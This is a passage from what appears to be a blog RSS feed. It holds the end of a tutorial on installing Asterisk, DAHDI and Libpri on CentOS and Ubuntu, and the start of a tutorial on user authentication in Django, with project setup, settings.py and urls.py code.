&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-ini" data-lang="ini">&lt;span class="line">&lt;span class="cl">&lt;span class="k">[asterisk-current]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="na">name&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">CentOS-$releasever - Asterisk - Current&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="na">baseurl&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">http://packages.asterisk.org/centos/$releasever/current/$basearch/&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="na">enabled&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">1&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="na">gpgcheck&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">0&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">#gpgkey=http://packages.asterisk.org/RPM-GPG-KEY-Digium&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;ul>
&lt;li>Download the &lt;code>centos-digium.repo&lt;/code> file and copy it to &lt;code>/etc/yum.repos.d/&lt;/code>.
Here is the repo file:&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-ini" data-lang="ini">&lt;span class="line">&lt;span class="cl">&lt;span class="k">[digium-current]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="na">name&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">CentOS-$releasever - Digium - Current&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="na">baseurl&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">http://packages.digium.com/centos/$releasever/current/$basearch/&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="na">enabled&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">1&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="na">gpgcheck&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">0&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">#gpgkey=http://packages.digium.com/RPM-GPG-KEY-Digium&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;ul>
&lt;li>
&lt;p>Clear your current yum cache: &lt;code>yum clean all&lt;/code>.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Install Asterisk and its dependencies:&lt;/p>
&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> yum install asterisk16
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> yum install asterisk16-configs
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> yum install asterisk16-voicemail
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> yum install dahdi-linux
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> yum install dahdi-tools
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> yum install libpri
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;ul>
&lt;li>Make Asterisk and DAHDI start at boot. Then reboot the server to make sure
they both start up: &lt;code>chkconfig dahdi on; chkconfig asterisk on; reboot;&lt;/code>.&lt;/li>
&lt;/ul>
&lt;p>Once the system comes back up, run the following command to make sure DAHDI and
Asterisk are working properly:
&lt;code>service dahdi status; asterisk -rx 'core show version'&lt;/code>.&lt;/p>
&lt;p>If all is working, you should see something similar to:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="gp">#&lt;/span>&lt;span class="c1">## Span 1: DAHDI_DUMMY/1 &amp;#34;DAHDI_DUMMY/1 (source: Linux26) 1&amp;#34; (MASTER)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">Asterisk 1.6.0.25 built by root @ localhost.localdomain on a i686 running Linux on 2010-02-26 20:30:00 UTC
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="ubuntu-1">Ubuntu&lt;/h2>
&lt;p>To install Asterisk on Ubuntu, we need to compile it from source.&lt;/p>
&lt;ul>
&lt;li>First of all, download all of the source files from
&lt;a href="http://www.asterisk.org/downloads" title="Asterisk Download Page">the Asterisk download page&lt;/a>. Always download the latest release. The
files you will need are Asterisk, Asterisk-Addons, DAHDI Linux / DAHDI
Tools, and Libpri. The code below shows what Asterisk release I&amp;rsquo;ll be
downloading (current at the time of writing):&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> wget http://downloads.asterisk.org/pub/telephony/asterisk/releases/asterisk-1.6.2.5.tar.gz
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> wget http://downloads.asterisk.org/pub/telephony/asterisk/asterisk-addons-1.6.2.0.tar.gz
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> wget http://downloads.asterisk.org/pub/telephony/dahdi-linux-complete/releases/dahdi-linux-complete-2.2.1+2.2.1.tar.gz
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> wget http://downloads.asterisk.org/pub/telephony/libpri/releases/libpri-1.4.10.2.tar.gz
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;ul>
&lt;li>Now, let&amp;rsquo;s install DAHDI Linux / DAHDI Tools. Always install this before
Asterisk:&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> tar zxvf dahdi-linux-complete-2.2.1+2.2.1.tar.gz
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> &lt;span class="nb">cd&lt;/span> dahdi-linux-complete-2.2.1+2.2.1
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> make
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> make install
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> make config
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;ul>
&lt;li>Now we&amp;rsquo;ll install Libpri:&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> tar zxvf libpri-1.4.10.2.tar.gz
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> &lt;span class="nb">cd&lt;/span> libpri-1.4.10.2/
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> make
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> make install
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;ul>
&lt;li>Now that we&amp;rsquo;ve got both DAHDI and Libpri installed, let&amp;rsquo;s install
Asterisk:&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> tar zxvf asterisk-1.6.2.5.tar.gz
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> &lt;span class="nb">cd&lt;/span> asterisk-1.6.2.5/
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> ./configure
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> make
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> make install
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> make config
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> make samples
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> make progdocs
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;ul>
&lt;li>Finally, we&amp;rsquo;ll install Asterisk-Addons which includes some useful
functionality:&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> tar zxvf asterisk-addons-1.6.2.0.tar.gz
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> &lt;span class="nb">cd&lt;/span> asterisk-addons-1.6.2.0/
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> ./configure
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> make
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> make install
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> make samples
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Now that we&amp;rsquo;ve got everything installed, go ahead and reboot the system to make
sure that everything starts up automatically on boot. Once the system is back
up and running, run the following two commands:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> /etc/init.d/dahdi status
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> asterisk -rx &lt;span class="s1">&amp;#39;core show version&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>If all is working, you should see something similar to:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="gp">#&lt;/span>&lt;span class="c1">## Span 1: DAHDI_DUMMY/1 &amp;#34;DAHDI_DUMMY/1 (source: HRtimer) 1&amp;#34; (MASTER)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">Asterisk 1.6.2.5 built by root @ ubuntu on a i686 running Linux on 2010-02-28 22:30:53 UTC
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="conclusion">Conclusion&lt;/h2>
&lt;p>Now that you&amp;rsquo;ve got DAHDI, Libpri, Asterisk, and Asterisk-Addons installed,
your server is ready for production usage!&lt;/p>
&lt;p>Our next article will cover configuring Asterisk and making calls to the
outside world.&lt;/p>
&lt;p>If you&amp;rsquo;re looking for some other great Asterisk documentation, you can&amp;rsquo;t do any
better than &lt;a href="http://www.amazon.com/gp/product/0596510489/ref=as_li_ss_tl?ie=UTF8&amp;amp;camp=1789&amp;amp;creative=390957&amp;amp;creativeASIN=0596510489&amp;amp;linkCode=as2&amp;amp;tag=rdegges-20" title="Asterisk: The Future of Telephony, 2nd Edition">Asterisk: The Future of Telephony, 2nd Edition&lt;/a>. It&amp;rsquo;s the most
thorough book on Asterisk that you can find, and will teach you everything you
need to know to get started with Asterisk.&lt;/p></description></item><item><title>User Authentication With Django</title><link>https://rdegges.com/2010/user-authentication-with-django/</link><pubDate>Wed, 17 Feb 2010 00:00:00 -0800</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2010/user-authentication-with-django/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2010/user-authentication-with-django/lock-sketch.png" alt="Lock Sketch" title="Lock Sketch">
&lt;/p>
&lt;p>This article will teach you how to authenticate users with &lt;a href="http://www.djangoproject.com/" title="Django">Django&lt;/a> in a
simple, quick, and secure manner. You&amp;rsquo;ll also learn how to require
authentication on certain pages of your website, and how to gracefully handle
login and logout functionality.&lt;/p>
&lt;p>The target audience is people who have had minimal experience with Django, and
are aware of how Django works in a basic manner.&lt;/p>
&lt;h2 id="what-are-we-building">What are We Building?&lt;/h2>
&lt;p>To demonstrate how user authentication works, we&amp;rsquo;ll be building an extremely
minimalistic website and user portal. We&amp;rsquo;ll create a home page that directs
users to the web portal (which is for authenticated users only). We&amp;rsquo;ll create
a login page, a logout page, and a basic web portal home page.&lt;/p>
&lt;p>The goal of this article is not to teach you web design, or how to make
websites, but merely to show you how simple user authentication can be with
Django.&lt;/p>
&lt;h2 id="whats-needed">What&amp;rsquo;s Needed?&lt;/h2>
&lt;p>Django 1.0 or later.&lt;/p>
&lt;h2 id="create-a-new-project">Create a New Project&lt;/h2>
&lt;p>Before we get started, create a new Django project. For the rest of this
article, we&amp;rsquo;ll be building a website for the fictitious company &amp;lsquo;Django
Consultants&amp;rsquo;.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="go">rdegges@cora:~/code$ django-admin.py startproject django_consultants
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">rdegges@cora:~/code$ ls django_consultants/
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">__init__.py manage.py settings.py urls.py
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">rdegges@cora:~/code$ cd django_consultants/
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">rdegges@cora:~/code/django_consultants$
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">rdegges@cora:~/code/django_consultants$ python manage.py syncdbCreating table auth_permission
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">Creating table auth_group
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">Creating table auth_user
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">Creating table auth_message
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">Creating table django_content_type
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">Creating table django_session
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">Creating table django_site
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">&lt;/span>&lt;span class="err">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">&lt;/span>&lt;span class="go">You just installed Django&amp;#39;s auth system, which means you don&amp;#39;t have any superusers defined.
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">Would you like to create one now? (yes/no): yes
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">Username (Leave blank to use &amp;#39;rdegges&amp;#39;):
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">E-mail address: r@rdegges.com
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">Password:
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">Password (again):
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">Superuser created successfully.
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">Installing index for auth.Permission model
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">Installing index for auth.Message model
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">rdegges@cora:~/code/django_consultants$
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Be sure to create a user account when you run the &lt;code>python manage.py syncdb&lt;/code>
command, as you&amp;rsquo;ll need that later to test your login.&lt;/p>
&lt;h2 id="determine-urls">Determine URLs&lt;/h2>
&lt;p>There are many ways to design a website, but I prefer to build the URL schema
first, then build the site to match the URL schema. So let&amp;rsquo;s decide on what
URLs we will need now. If you are going to build a real website and not just
this simple example, feel free to add whatever else you need.&lt;/p>
&lt;ul>
&lt;li>&lt;code>/&lt;/code> Show the company logo and direct users to a login portal.&lt;/li>
&lt;li>&lt;code>/login/&lt;/code> Allow users to login.&lt;/li>
&lt;/ul>
&lt;p>This should be sufficient for what we are doing.&lt;/p>
&lt;h2 id="configure-django-settings">Configure Django Settings&lt;/h2>
&lt;p>Below is my &lt;code>settings.py&lt;/code> for the project. Make changes where necessary.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">os&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">DEBUG&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kc">True&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">TEMPLATE_DEBUG&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">DEBUG&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">ADMINS&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">(&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;Randall Degges&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;r@rdegges.com&amp;#39;&lt;/span>&lt;span class="p">),&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">MANAGERS&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">ADMINS&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">DATABASE_ENGINE&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;sqlite3&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">DATABASE_NAME&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;django_consultants.db&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">DATABASE_USER&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">DATABASE_PASSWORD&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">DATABASE_HOST&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">DATABASE_PORT&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">TIME_ZONE&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;America/Los_Angeles&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">LANGUAGE_CODE&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;en-us&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">SITE_ID&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">1&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">USE_I18N&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kc">True&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">SITE_ROOT&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">os&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">path&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">realpath&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">os&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">path&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">dirname&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="vm">__file__&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">MEDIA_ROOT&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">os&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">path&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">join&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">SITE_ROOT&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;static&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">MEDIA_URL&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;/static/&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">ADMIN_MEDIA_PREFIX&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;/media/&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># URL of the login page.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">LOGIN_URL&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;/login/&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Make this unique, and don&amp;#39;t share it with anybody.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">SECRET_KEY&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;somerandomnumbers&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">TEMPLATE_LOADERS&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">(&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;django.template.loaders.filesystem.load_template_source&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;django.template.loaders.app_directories.load_template_source&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">MIDDLEWARE_CLASSES&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">(&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;django.middleware.common.CommonMiddleware&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;django.contrib.sessions.middleware.SessionMiddleware&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;django.contrib.auth.middleware.AuthenticationMiddleware&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">ROOT_URLCONF&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;django_consultants.urls&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">TEMPLATE_DIRS&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">(&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">os&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">path&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">join&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">SITE_ROOT&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;templates&amp;#39;&lt;/span>&lt;span class="p">),&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">INSTALLED_APPS&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">(&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;django.contrib.auth&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;django.contrib.contenttypes&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;django.contrib.sessions&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;django.contrib.sites&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;portal&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Take note of the &lt;code>LOGIN_URL&lt;/code> setting. This needs to be changed to whatever URL
your login view will be at. For us, this should be &lt;code>/login/&lt;/code>, as that is the
URL we decided will supply users with a login page.&lt;/p>
&lt;p>Everything else is pretty standard, nothing special going on.&lt;/p>
&lt;h2 id="write-our-urlspy">Write Our &lt;code>urls.py&lt;/code>&lt;/h2>
&lt;p>Now let&amp;rsquo;s write our main &lt;code>urls.py&lt;/code> file which will control what content is
served based on our URL schema.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">django_consultants.views&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="o">*&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">django.conf.urls.defaults&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="o">*&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">urlpatterns&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">patterns&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
